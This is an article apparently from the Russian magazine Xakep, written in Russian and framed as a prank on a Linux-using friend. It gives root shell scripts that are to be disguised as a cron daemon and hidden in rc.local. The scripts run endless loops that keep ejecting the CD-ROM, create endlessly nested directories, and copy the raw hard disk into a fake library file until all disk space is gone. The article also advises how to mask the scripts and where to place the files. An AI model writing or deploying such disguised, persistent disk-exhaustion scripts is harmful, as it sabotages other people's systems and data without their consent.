|
Приколись над другом-линуксоидом v.2
Xakep, номер #050, стр. 050-078-2 Требуется: root + куча времени Представляю твоему вниманию новую версию моих элитных скриптов настоящего Linux-западлостроителя ;). Юзать мы будем бесконечные циклы, так как рульность их доказана многократно и в представлении не нуждается. Рассмотрим shell-скрипты. Главный скрипт - /bin/cron (закос под cron daemon), его надо добавить в /etc/rc.local и желательно максимально замаскировать, а не тупо приписать в конец файла: #!/bin/sh #1 /bin/shell1 2>/dev/null & #2 /bin/shell2 2>/dev/null & #3 /bin/shell3 2>/dev/null & #4 /bin/shell4 2>/dev/null & echo "* eleet scripts v0.02pre-beta coded by SHuRuP loaded successfully! *" Тут все наглядно: вызываются подпрограммы, и выводится надпись об удачной загрузке скрипта. Первый скрипт (файл /bin/shell1): #!/bin/sh while : do eject -t /mnt/cdrom 2>/dev/null eject /mnt/cdrom 2>/dev/null done Запускается бесконечный цикл (как и во всех дальнейших случаях), который будет аккуратнейшим образом открывать и закрывать одноглазого ;). Возможен вариант добавления копирования контента на хард (т.е. mount /mnt/cdrom; cp –R /mnt/cdrom /root/cdrom; umount /mnt/cdrom), но тогда пропадает преимущество быстрого вытаскивания/затаскивания CD-ROM'а. Исключение составляют обладатели еще не существующих коробок а-ля HP CDRW 65536x/31337x/666x (чтение/запись/перезапись компактов) :). Все это неблагоприятно может сказаться на общем впечатлении от творящегося беспредела, но вкусы у всех разные... Второй скрипт (файл /bin/shell2): #!/bin/sh cd / while : do mkdir lame cd lame echo "admin is too lame" >README done Почему-то мне кажется, что далеко не всякому Linux-гуру будет по кайфу лицезреть парочку-другую десятков/сотен/тысяч подкаталогов с файлом README, содержащим совсем не симпатичную (хотя кто знает?) для него мессагу. Главное, не переборщи, имей хоть каплю совести. Итак, теперь третий скрипт (файл /bin/shell3): #!/bin/sh while : do cat /dev/hda >>/usr/lib/libxwin.so.2 done Идея этого представителя El33t scripts'ов заключается в копировании содержимого жесткого диска в виде некой каши из символов бесконечное количество раз. Что, в конечном счете, при наличии шустрого винча выдаст феноменальные результаты: сотни мегабайт "мусора" за считанные секунды! Таким образом, все дисковое пространство, заботливо припасенное наивным юзером на случай появления свежего варез-архива в рунете, сожрется в мгновение ока, разбив сердце доверчивого линуксоида. Внимание: Каталог для файла libxwin.so.2 (название данного файла - пародия библиотеки) надо выбирать, исходя из статистики команды df, отхватив кусок, где побольше свободного места, или распихав подобные либы по всей файловой системе, чтобы не заморачиваться определением точки бомбежки. |